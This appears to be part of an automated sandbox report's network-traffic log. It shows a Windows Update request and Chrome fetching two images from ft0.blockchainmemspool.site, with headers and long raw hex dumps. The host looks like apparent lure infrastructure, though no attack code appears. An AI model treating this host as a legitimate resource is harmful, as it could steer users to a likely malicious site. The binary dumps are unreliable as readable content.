2024-11-27 03:06:48 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=nKTtlEkgfnco6RE&MD=9AH7rm3u HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-27 03:06:48 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 3afb7d9a-6b7a-412c-803e-c7ed85f41dc9 MS-RequestId: eac51629-83fb-47d1-966b-5d0fa20f537a MS-CV: DaSjWKv4e060un48.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 27 Nov 2024 03:06:47 GMT Connection: close Content-Length: 24490
2024-11-27 03:06:48 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-27 03:06:48 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49753	91.208.197.216	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:48 UTC	367	OUT	GET /pdfbannerred.png HTTP/1.1 Host: ft0.blockchainmemspool.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:48 UTC	302	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Nov 2024 03:06:48 GMT Content-Type: image/png Content-Length: 7825 Last-Modified: Mon, 25 Nov 2024 14:35:51 GMT Connection: close ETag: "67448b47-1e91" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2024-11-27 03:06:48 UTC	1067	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 00 3c 08 06 00 00 00 48 16 ec ed 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 6d 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 Data Ascii: PNGIHDR<HtEXtSoftwareAdobe ImageReadyqe<miTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16
2024-11-27 03:06:48 UTC	1369	IN	Data Raw: f3 9f dd e5 cd 2e f7 f6 6e ef 8e 2f f9 ff 13 46 24 ef f6 31 3b 3b 33 bf f9 3f 47 61 8c 01 81 40 20 10 08 41 a1 52 13 10 08 04 02 81 08 84 40 20 10 08 ab 86 90 fc c7 f4 33 1f ad 4a 9f 3d f7 0b 63 72 aa 41 09 87 f5 c0 57 53 14 30 ee de 0d 97 1d 8a fd 28 fc cc 5f 7f 8c 4d 4c 02 c8 2a 32 fe bb 52 55 05 fc da 00 86 91 f9 bc a2 02 d8 cc 4c f9 dc f3 27 5f 63 53 53 15 fc 18 bd a0 a7 d1 75 0d c2 e1 05 ad 33 fa be ba 91 1f 8c d3 eb 25 10 08 84 55 22 10 4b 22 79 ac e0 ab 71 52 50 42 21 d0 ba 76 fd 5a a9 aa 04 98 9b 77 4f f0 a0 6c da 04 4a 4d 0d ff 3d 2d dd 55 05 b5 ad 75 41 db b3 fb d6 e2 8f 7f fa e7 4a 75 b5 93 78 82 a3 8c 5e 2d 81 40 20 ac 2c dc 2a 2c 9c b5 ef 17 7a 31 36 3b 0b 6a 73 d3 9c b6 6f ef 97 61 62 8a 93 84 e1 2c 9c 14 d8 83 07 60 24 ef 83 31 31 91 29 f7 Data Ascii: .n/F$1;;3?Ga@ AR@ 3J=crAWS0(_ML2RUL'_cSSu3%U"K"yqRPB!vZwOlJM=-UuAJux^-@ ,,z16;jsoab,`$11)
2024-11-27 03:06:48 UTC	1369	IN	Data Raw: ee 2f 62 ae 2d 91 da a4 70 e2 18 e0 65 14 cc 0d b3 4e 5b e5 8c 15 aa 78 92 97 5e ea 4e 01 fa 80 b5 34 60 5e 7e d8 b9 cf 1d 90 ce 3f b3 56 f5 58 8d eb 05 bc 77 af 7c ff 3c 4a 6f ae 7a f3 3f 8e 49 df 1d 5b 81 3a cb d7 1f cd 71 ec e8 4a d6 25 47 dd 8e 65 f9 fe be 74 cc e9 d5 6a b7 8d de 57 0b 27 10 6b e3 a8 50 4f f7 b7 38 89 98 e4 20 a2 cf 99 60 33 e1 ae 8b e9 da 85 9b ae 1d 95 ce 49 a6 b6 16 f4 3f 26 de 3f ff e2 f0 ff a1 87 96 90 3a 50 2a b1 72 62 09 c2 e0 d7 c5 7d 41 94 b0 9d e6 24 2c ae 1f da db 75 23 74 a0 e7 a7 a6 a1 be 20 f2 38 c5 ff 3f c9 4b 34 cb 11 03 48 28 bc 26 27 88 1a 56 05 32 59 c7 58 f6 f7 42 58 ff 48 4a bf 47 b3 bd 4b 66 4a fd f2 77 89 35 9e 7c 71 cc e3 78 8f ac e3 45 da 80 45 64 c7 d6 eb 02 37 38 81 20 41 a0 71 fb 40 cf d7 71 cf 0f 21 71 54 Data Ascii: /b-peN[x^N4`^~?VXw\|<Joz?I[:qJ%GetjW'kPO8 `3I?&?:P*rb}A$,u#t 8?K4H(&'V2YXBXHJGKfJw5\|qxEEd78 Aq@q!qT
2024-11-27 03:06:48 UTC	1369	IN	Data Raw: 85 fc 37 60 e0 61 fe 12 88 cc ec 27 45 23 29 4a 34 cf 41 19 f1 e9 dc b6 1e d5 eb 25 1d 03 7f 23 5d 24 c7 cb 2d 04 5e 75 1c 2c f2 39 4e 06 b8 57 50 f5 d5 b0 6b 25 ea e7 8d 15 b8 1e d6 b5 72 b5 f1 89 1c 1e 60 91 2c 9f 9d 28 51 3f 59 73 58 13 e5 80 cf 21 f9 7a 00 0d fb a8 29 7b bd 8e 2b 51 bb 65 ed f7 2b 88 a0 e3 7b 00 fc 8d e0 51 28 a1 07 e8 0a f6 7d 31 4e 45 48 44 60 02 49 2d 0a 57 dc b2 3f 79 ea 79 8c 30 c7 34 25 98 a2 5d 6d e0 a5 b1 81 4f fc d5 22 a6 43 64 e4 c5 09 1e 0b 06 19 f2 9f fa f9 0b 7f ef c8 b8 5b 1e 06 e3 ee 78 99 71 e3 e6 df a8 5b 1e 01 a8 a8 10 86 77 51 50 8a 09 71 c2 c0 0d a7 90 a8 f0 a7 28 a6 97 97 76 70 ff 10 73 d9 58 02 74 6c 7b f0 8f f2 ba 9c e1 e5 a4 e5 2a 97 ad b1 06 5c 0d 89 ab aa 3e 70 ae 5a 7b 99 d4 39 ac 6b 1d 73 11 d8 71 21 fd 38 Data Ascii: 7`a'E#)J4A%#]$-^u,9NWPk%r`,(Q?YsX!z){+Qe+{Q(}1NEHD`I-W?yy04%]mO"Cd[xq[wQPq(vpsXtl{*\>pZ{9ksq!8
2024-11-27 03:06:48 UTC	1369	IN	Data Raw: 1e 5c 0b a9 64 f5 08 04 33 ef aa db b7 cd ab d1 f6 97 d3 89 2b 66 7e ab 25 66 e5 52 04 7a 4c 29 d6 c4 6e cd fe 68 bb 30 c6 c6 20 7d fe 8d 67 45 bc 46 b6 49 5e 64 e5 5d 00 e3 f6 ed 7f 50 1a 22 df 17 39 b4 54 eb 1a 98 70 11 33 f3 22 a9 68 4e 5b 87 71 cb 00 6d 57 c7 57 d4 cd 8d 9f 17 52 4a 79 d8 4f 82 8a 5a c4 93 c8 53 c5 93 0d 83 05 44 7e 06 56 5f ac c2 e4 39 58 6c 04 6b 10 6f a2 2c b9 af f2 91 58 06 4b 58 0f f7 7b 88 e6 33 31 62 dd 95 e0 6a 95 c1 0d 9a d1 20 a1 94 26 35 86 ec 14 91 af f4 b1 51 db 2d 92 47 1f 75 2f 9e 0e b9 82 88 7b 57 98 40 0a ea fb f9 42 cd a5 be 42 95 91 b6 7d fb cf b8 14 31 6d dc 1b 17 84 22 0a ee 22 88 b9 ab 92 13 c0 78 31 26 26 79 99 30 ff e6 13 ff e2 99 b3 1f e4 c4 d0 a0 6c aa f1 53 27 89 98 8f f4 d9 d7 3e a0 9f fb c3 66 61 f3 98 9b Data Ascii: \d3+f~%fRzL)nh0 }gEFI^d]P"9Tp3"hN[qmWWRJyOZSD~V_9Xlko,XKX{31bj &5Q-Gu/{W@BB}1m""x1&&y0lS'>fa
2024-11-27 03:06:48 UTC	1282	IN	Data Raw: af fb 65 cd c6 8b ae bb ea 96 2d 77 2a ff f5 68 54 a9 ac 9c 63 18 25 6e ab 9c 90 34 ac a0 3e 31 cf 5b ab 7f 4c 2d a2 5f 7a eb e0 dc e7 9e 3b 8b 11 e4 98 9a dd 79 37 33 e5 fb 52 a2 44 e9 de 68 ac 57 5b 5b ee 54 fe f3 27 9a 45 5a 13 57 4c 08 46 bf 8b 68 76 99 28 50 75 a6 aa 30 f7 b9 e7 6f 1a 37 6e b6 62 64 fc b2 6c bc 04 02 81 40 58 11 78 4b 20 b6 f7 d5 9f 3e 7d 4a a9 ab 9b 13 3b 0f 6a ce 94 eb c2 fb 09 53 b7 cb aa 28 66 80 9e 48 3c c6 27 f6 d7 94 48 7d ca 61 ff 10 1a 28 66 a8 5c 96 60 a9 d4 a3 6e db 08 1a de 8d 6b d7 9b f4 d1 44 5f e8 3d 4f 9c c6 bc 57 99 d0 0f 33 3f 96 08 54 94 55 55 bc 1e 9c e4 20 b4 6f cf 4b 0b 97 2e 7f c6 d7 e3 8b 40 20 10 08 ab 40 20 7c f5 8f 41 7e a1 83 07 5e 16 76 0d 39 92 1c a5 0f 3e 89 a7 cf bf 01 c6 f8 b8 19 ec 67 93 40 b8 8c 7f Data Ascii: e-w*hTc%n4>1[L-_z;y73RDhW[[T'EZWLFhv(Pu0o7nbdl@XxK >}J;jS(fH<'H}a(f\`nkD_=OW3?TUU oK.@ @ \|A~^v9>g@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49756	91.208.197.216	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:48 UTC	361	OUT	GET /beegee.jpg HTTP/1.1 Host: ft0.blockchainmemspool.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:49 UTC	304	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Nov 2024 03:06:49 GMT Content-Type: image/jpeg Content-Length: 40774 Last-Modified: Mon, 25 Nov 2024 14:35:49 GMT Connection: close ETag: "67448b45-9f46" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2024-11-27 03:06:49 UTC	1065	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 2a 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifIIDucky<http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xm
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 01 02 04 03 05 10 01 00 02 01 02 05 02 06 03 01 01 01 01 01 01 00 00 01 02 03 11 04 31 51 12 13 05 41 14 21 71 32 33 15 16 61 34 06 22 52 42 23 24 81 11 01 01 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 11 01 12 02 03 13 21 04 31 14 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fb 0f 03 e0 e2 d1 1f 00 7d 1c 7f 9f ae 9c 19 df 4b 13 1e 02 9c 8e 88 b4 7f 9f a4 fa 2d 45 e3 fc e5 27 d1 43 f5 ba 72 03 f5 ca 72 04 fe b5 5e 40 7e b5 5e 40 7e b5 5e 40 7e b5 5e 40 a5 bf ce d6 3d 00 af f9 da cf a0 2d 3f e6 eb a7 00 65 6f f3 f5 8f 40 53 f0 35 e4 0d 29 fe 7e b3 e8 09 b7 f9 ea 44 6b a0 b1 cd 93 c4 62 ac e8 95 ae 34 a7 87 c7 6e 10 a9 be 5d 14 ff 00 3f 59 f4 19 69 3f e7 2b c8 19 db fc fd 63 d0 15 fc 0d 39 02 f5 ff 00 3f 49 f4 05 e3 fc dd 27 Data Ascii: 1QA!q23a4"RB#$!1?}K-E'Crr^@~^@~^@~^@=-?eo@S5)~Dkb4n]?Yi?+c9?I'
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: e3 14 48 33 b6 ef 10 8b 62 dc e3 b5 81 e8 63 c7 8e f4 d7 40 73 66 c1 48 9e 00 cb 5c 75 04 4c e3 98 06 56 e9 80 67 6b 46 a0 cb 3d e2 29 20 f1 b3 6e 34 b8 34 ae ee 3a 41 97 ba 89 b8 3d 6d 96 48 9a c0 35 cd 96 17 07 3c 5b 56 a2 2d 5c 91 59 4d c1 db 8b 24 4d 59 55 6d 68 ea 06 b4 bd 74 05 32 66 ab c7 df b8 b1 97 7a 1c bb fe 86 a2 f4 cb 0f 7f 9f d6 a6 e3 6e e5 74 7b d6 5c 5b 8d c4 44 b9 be bf 58 d6 63 1a ee 61 e5 f3 fb dd 5d c5 ab bb af 56 8e ef 3b 58 76 e2 cd 16 ab 42 b7 b4 6a 0b d6 d5 d0 1a 57 26 3f 50 79 fe 4b 73 5a d6 74 07 91 87 75 6b 65 ff 00 fd 07 bf b3 bc 4d 63 50 76 44 d4 13 ad 40 d6 a0 6b 50 35 a8 1a d4 0d 6a 06 b5 03 5a 81 ad 40 d6 a0 6b 50 35 a8 1a d4 0d 6a 06 b5 03 5a 81 ad 40 d6 a0 6b 50 35 a8 1a d4 0d 6a 06 b5 03 5a 81 ad 40 d6 a0 6b 50 35 a8 1a Data Ascii: H3bc@sfH\uLVgkF=) n44:A=mH5<[V-\YM$MYUmht2fznt{\[DXca]V;XvBjW&?PyKsZtukeMcPvD@kP5jZ@kP5jZ@kP5jZ@kP5
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: af aa 84 4e 7f e4 44 eb 9b f9 04 6b 9f f9 03 ab 3f f2 08 ff 00 f6 fe 41 be d6 32 f5 c6 a9 aa fa 0d 95 e6 22 35 78 eb d3 1e 9f 5f ff 00 9b 2d 3f 37 f0 b9 6b 35 8f 8a 6a bd 3c b1 13 3a c4 bc 3d fc eb 79 e9 15 bc c7 ab c7 f1 6f b6 b8 ef f1 f8 cb 7e 7e 4c ef a7 a1 87 2d 62 3e 32 e8 f3 91 e7 ba 66 ed 5f 8c b6 8e 1c bb 4c 36 9f 40 56 bb 2c 3f c0 36 ae d7 04 72 07 4e 28 c5 4e 00 e9 8d cd 22 38 82 97 dc d2 7d 41 15 dc 53 98 29 9b 2d 2d 1c 5e 7e fc d6 bc eb cd cf 5a cc b8 fd 7c bf af 7c f6 c2 b5 ae af 7f 96 6e 3c bd ff 00 5d db 6b d6 be ae aa f2 8e de fd 3a 78 a2 b9 b2 e5 ae bc 53 71 73 5c d7 cf fc b8 7e bf 3a f7 f1 e9 a6 0c b1 af 16 3e 5f 3d c5 f7 e9 db df a7 4f 17 d0 f3 8e 7d 79 fb ac 91 3c 25 a4 71 4d 75 9f 8c aa 3b 76 91 4a e8 0f 42 72 d3 a7 4d 51 5e 76 ee 95 Data Ascii: NDk?A2"5x_-?7k5j<:=yo~~L-b>2f_L6@V,?6rN(N"8}AS)--^~Z\|\|n<]k:xSqs\~:>_=O}y<%qMu;vJBrMQ^v
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 1e a7 0b da f1 fe 9b 2c 7f f4 70 76 9f d9 b2 ff 00 e8 e1 3b 52 df e8 f2 4f a9 c1 da bf b0 5f 99 c1 d9 fb 0d f9 9c 2f 67 ec 17 e6 70 9d a2 7c fd f9 9c 1d 91 fe 82 fc ce 0e d3 fb 05 f9 9c 1d a3 f3 f7 e6 70 76 7e 7e fc ce 0e d3 fb 05 f9 9c 1d 9f b0 5f 99 c1 da 3f 3d 6e 67 07 64 79 eb 73 38 3b 4f ec 17 e6 70 76 98 ff 00 45 92 3d 4e 0e d7 8f f4 d9 63 ff 00 a3 83 b4 fe cf 97 ff 00 47 0b d9 fb 3e 5f fd 1c 1d 9f b3 e5 ff 00 d1 c1 d9 3f e9 b2 ff 00 e8 e1 3b 67 3f e8 b2 4f a9 c2 f6 8f d8 72 73 38 4e cf d8 72 73 38 3b 3f 60 bf 33 83 b4 7e 7e fc ce 0e d1 6f 3d 69 8e 27 07 6c 6d e5 e6 67 89 c1 da 3f 2f 3c ce 4e c8 f2 d3 af 13 93 b6 d4 f3 96 af a9 c2 f6 99 f3 d6 9f 53 84 ed 5f cd 5b 99 c9 da 63 ce 5a 3d 4e 0e d6 fc fd f9 9c 1d 9f 9f bf 33 83 b4 fe c1 7e 67 07 68 9f 3f Data Ascii: ,pv;RO_/gp\|pv~~_?=ngdys8;OpvE=NcG>_?;g?Ors8Nrs8;?`3~~o=i'lmg?/<NS_[cZ=N3~gh?
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: fc 55 8e 0f d0 fc 55 8e 0f d0 fc 55 8e 0f d0 fc 55 8e 0f d1 3f 8a b1 c1 fa 23 f1 56 38 3f 43 f1 56 38 3f 43 f1 76 e4 70 7e 88 b7 8b b6 87 0b fa 3c fd e6 ca f4 89 67 7c 35 9e d6 f0 dd 71 b8 88 d7 d5 e1 eb 1e fe 35 fa 67 88 8f ff 00 08 f9 3c 75 d1 8e eb 41 86 b7 db 62 89 97 ae 63 cb 75 df 5c 15 d1 a8 cd 4f b7 a1 0a 7b 7a 72 21 51 ed a9 c8 85 3d b5 39 10 a7 b7 a7 22 14 f6 f4 e4 42 9e de 9c 88 53 db d3 91 0a 7b 7a 72 21 4f 6f 4e 44 29 ed e9 c8 85 3d bd 39 10 a7 b7 a7 22 14 f6 d4 e4 42 9e da 9c 88 53 db 53 91 0a 7b 7a 72 21 4f 6f 4e 44 29 ed a9 c8 85 63 9f 05 62 b2 df 9f 25 78 fb ac 91 49 75 f8 f9 54 ae 59 de c4 4b d7 ff 00 3a 74 d7 1e ea 2c ce fc 17 a4 db 3f c4 cf 8e 25 75 ec ed 17 98 d5 e3 f4 f9 45 af 57 1e 0a 4c 39 77 ca d5 fd bd 12 15 fc 99 e2 f1 f5 de 21 Data Ascii: UUUU?#V8?CV8?Cvp~<g\|5q5g<uAbcu\O{zr!Q=9"BS{zr!OoND)=9"BSS{zr!OoND)cb%xIuTYK:t,?%uEWL9w!
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 8e 57 e8 93 a3 93 a2 4e 8e 4e 89 3a 39 3a 24 e8 e4 e8 93 a3 93 a2 4e 8e 4e 89 3a 39 3a 24 e8 e4 e8 93 a3 95 67 0e ab d9 ca 93 b6 8e 4b fa 1c ad 18 22 3d 0e ce 53 d9 4e ce 53 18 b4 3a 39 4f 44 a7 47 27 44 9d 1c bf 96 7c 5e 4e 8b c4 b0 db ed fc 57 9b ec d6 3e 20 ef dc 7f a9 bc d3 48 b0 3e 73 c8 f9 7c 99 ad 3a c8 3c 8c 99 6d 69 5c 4d 7a de 13 ee 55 d1 e1 cb f4 7d f6 c3 ed 43 a3 1c 7a e8 c8 d2 33 af 13 07 5e 2e 0d 0d 60 42 41 8e 69 d2 b2 2b e6 7c ce f3 2e 3d 74 63 5e 9e 71 f3 39 bc be e6 2d 3f 19 79 d7 a4 65 f9 7d cf f2 52 23 f2 bb af e4 21 f9 4d d7 f2 10 fc 96 ea 79 84 4c 6f f7 73 cd 05 e3 77 bb 9e 6a 27 dc ee ff 00 91 0f 71 bb fe 55 48 cf bb fe 41 7a e6 dd ff 00 22 2f 19 b7 5f c8 2d 19 37 5f ca 8d 6b 7d d7 f2 23 5a 5f 73 fc 83 7a 64 dc 7f 22 34 ee 6e 3f 95 Data Ascii: WNN:9:$NN:9:$gK"=SNS:9ODG'D\|^NW> H>s\|:<mi\MzU}Cz3^.`BAi+\|.=tc^q9-?ye}R#!MyLoswj'qUHAz"/_-7_k}#Z_szd"4n?
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 00 00 09 00 00 01 00 00 09 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 24 00 00 00 00 00 00 00 00 04 00 00 00 00 00 24 00 01 00 00 00 00 00 00 00 48 00 00 00 2b 6e 00 f2 3c a4 7f cc b3 e9 bf 2f 2b c6 ff 00 6a 3e 6e 5f 6e bf 9b f4 bf 13 fd 58 f9 3c 35 d5 8a 6e eb ad d1 5d be 3b 6f 59 d1 07 ab 5d ad 34 e0 0b 7b 5c 60 7b 5c 60 7b 4c 60 9f 69 4e 40 8f 6b 8c 08 da 53 90 27 d9 d3 90 1e d2 9c 81 13 b5 c7 00 af 63 10 1e df 10 26 36 b8 e4 16 f6 74 e4 07 b2 a7 20 4f b2 a7 20 3d 95 39 01 ec a9 c8 0f 65 4e 40 7b 2a 72 03 d9 53 90 1e ca 9c 81 1e ca 9c 80 f6 74 e4 0a ce db 1c 2c 4a 88 db e3 92 15 6f 69 4e 48 a9 f6 74 e4 0f e4 8d a0 3d 0a 46 a0 d2 62 22 01 94 c8 22 57 13 5e cf 84 fb 95 74 78 72 fd 1f 7d b0 fb 50 e8 c7 1e ba 32 34 8c ab f5 0a ec c5 c1 a4 Data Ascii: $$H+n</+j>n_nX<5n];oY]4{\`{\`{L`iN@kS'c&6t O =9eN@{*rSt,JoiNHt=Fb""W^txr}P24
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: bc f4 ce f9 79 b3 e1 e3 af 5d 17 a4 e5 e9 6c f6 9d b8 8f 83 1b ad 63 bb 4f f9 d1 15 fc 7f b4 80 77 d6 01 3a 01 a0 2b 65 c4 d7 b3 e1 3e e5 5d 1e 1c bf 47 df 6c 3e d4 3a 31 c7 ae 8b b4 8c e3 88 3a b1 70 68 6a 22 40 00 10 00 00 00 00 00 00 00 00 02 41 12 00 00 00 00 00 00 00 00 00 00 00 80 4e a8 0a 00 00 00 00 94 10 02 82 00 0a a0 02 08 24 00 14 00 04 6a 06 a0 6a 09 00 00 00 04 00 00 00 90 00 00 00 35 03 50 35 04 03 3c b1 ac 0a f2 37 9b 49 bc ca 6e 35 9a e4 fc 75 b9 24 5a ac f8 fb 6b c0 85 5b d8 5b 4e 04 2b 0c 9b 1b ea 45 cd 5f 06 ca f1 24 37 5d 9e d2 fd 2b 19 ae 7c 9b 0b cf a2 45 ae 7b 78 eb eb c1 22 d5 a3 65 78 8e 04 2a 9e c6 fa f0 21 5d 34 d9 de 2a b1 2b 1c 9b 3b cc 91 73 54 f6 57 d3 82 42 a3 d8 df 5e 04 5a d2 bb 3b c4 2c 4a 7b 3b ea 42 ba f6 fb 4b 46 9f Data Ascii: y]lcOw:+e>]Gl>:1:phj"@AN$jj5P5<7In5u$Zk[[N+E_$7]+\|E{x"ex!]4+;sTWB^Z;,J{;BKF
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 70 5a 36 79 20 1d db 4c 37 ac c6 aa 3d 4c 71 f0 41 a4 40 1a 01 a0 1a 01 a0 1a 01 a0 1a 01 a0 1a 01 a0 1a 01 a0 1a 01 a0 1a 01 a0 27 40 00 00 00 7f 1e 6d 01 df 50 48 00 a5 97 13 5e cf 84 fb 95 74 78 72 fd 1f 7d b0 fb 50 e8 c7 1f a7 4d f8 34 8c 63 88 3a b1 70 68 6d 02 12 00 00 00 00 20 00 01 20 00 09 04 48 00 00 08 90 00 04 c0 00 00 00 00 00 00 a8 91 18 64 c7 32 2b 19 c1 20 a5 b6 f2 41 11 b6 b2 42 af d8 95 81 3b 79 20 a7 b6 b2 40 9d b4 90 aa 4e d6 c4 5a 46 d2 c4 2a d1 b6 b1 12 ad 1b 69 21 56 8d bc a9 4e c4 85 47 b7 94 2a 63 6f 2a 54 ce 09 0a a4 ed a4 08 db c8 54 ce de 48 29 3b 6b 24 2a 3d ad 88 52 76 b6 21 48 da d8 8b 56 f6 d6 54 a9 f6 d2 85 4f b6 90 a4 ed a4 2a 93 b6 b1 16 a6 36 d6 12 a6 76 f6 0a 88 db 59 55 6e c5 84 52 db 7b 0b 51 ed 6c 85 44 ed 6c 42 a9 Data Ascii: pZ6y L7=LqA@'@mPH^txr}PM4c:phm Hd2+ AB;y 